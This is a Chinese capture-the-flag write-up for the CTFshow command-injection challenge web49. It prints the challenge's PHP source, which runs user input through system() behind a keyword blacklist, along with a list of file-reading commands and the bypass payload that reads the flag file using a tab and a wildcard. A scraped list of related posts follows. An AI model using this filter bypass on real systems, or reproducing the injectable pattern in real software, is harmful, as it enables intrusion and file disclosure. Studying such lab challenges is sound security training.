CTFshow 命令执行 web49
目录
- 源码
- 知识点
- 题解
- 总结
源码
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
知识点
发现nl依然没有被过滤
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
题解
?c=nl%09fla?.php%0a
总结
水题
CTFshow 命令执行 web49相关推荐
- CTFshow——命令执行
CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...
- [CTFSHOW]命令执行
文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...
- CTFshow命令执行29-123
命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...
- CTFshow 命令执行 web72
目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...
- ctfshow命令执行篇
web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...
- ctfshow 命令执行 web29-web77 web118-122 web124 wp
南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...
- [CTFSHOW]命令执行55-74
web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...
- ctfshow命令执行(持续更新,已更至web39)
做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...
- ctfshow命令执行
目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...
最新文章
- Oracle宣布终止所有Intel Itanium平台上的软件开发
- 《算法设计与分析基础》Chapt 2 算法效率分析基础
- wxpython动态实时绘图_wxPython: 简单的绘图例子
- 编译arm版本驱动模块
- android 学习记录-----------android 活动 意图 碎片
- 详解JavaScript中void语句的使用
- 为什么中国这么多高薪程序员,开发不出Java, Typescript, Python, Rust, Node.js这些基础设施?...
- 计算机网络层实验路由表苏州科技,苏州科技大学计算机网络实验报告课案.docx...
- 方法的返回值类型是object_JavaScript中如何判断类型
- [Objective-C语言教程]动态绑定(32)
- spring.profiles.active配置了没生效_微服务架构之「 配置中心 」
- 如何看待清华大学生命科学学院削减研究生补助的行为?
- 瑞恩面试编程题:找出一个目录下所有的文件
- HTTP协议及POST与GET操作差异,C#中如何使用POST、GET等
- 错误	C1083	无法打开源文件
- 2022学术道德与学术规范教育【研究生】SPOC课程答案
- python爬虫小实例
- Centos7配置 yum代理
- 微软zone DNS服务器,在DNS服务器上创建DNS zone
- 字符串操作——substr用法
热门文章
- NIO和Reactor
- phpstrtotime()对于31日求上个月有问题
- python datetime模块和time模块
- Android高通平台下编译时能生成(拷贝)预编译的so到system的lib目录
- java 开票金额拆分_关于开票尾差拆分凑整的算法问题
- 阿里重磅发布大规模图神经网络平台AliGraph,架构算法解读
- 2019 阿里云峰会·北京站正式启动,互联网出海分论坛报名开启...
- 剑指offer之python实现
- 从V.C.Space抄来的
- 《编写高质量代码:改善c程序代码的125个建议》——建议4-1:整数转换为新类型时必须做范围检查...